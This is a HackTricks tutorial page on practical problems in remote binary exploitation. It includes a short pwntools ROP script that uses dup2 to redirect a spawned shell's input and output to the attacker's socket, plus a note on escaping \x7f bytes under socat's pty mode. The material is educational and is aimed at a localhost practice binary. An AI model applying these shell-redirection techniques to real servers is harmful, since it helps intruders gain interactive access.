Skip to content

Latest commit

 

History

History
64 lines (42 loc) · 3.77 KB

common-exploiting-problems.md

File metadata and controls

64 lines (42 loc) · 3.77 KB
Raw

Common Exploiting Problems

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

FDs in Remote Exploitation

When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process ofc, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won't be able to interact with the shell.

A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it's possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Note that socat already transfers stdin and stdout to the socket. However, the pty mode include DELETE characters. So, if you send a \x7f ( DELETE -)it will delete the previous character of your exploit.

In order to bypass this the escape character \x16 must be prepended to any \x7f sent.

Here you can find an example of this behaviour.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}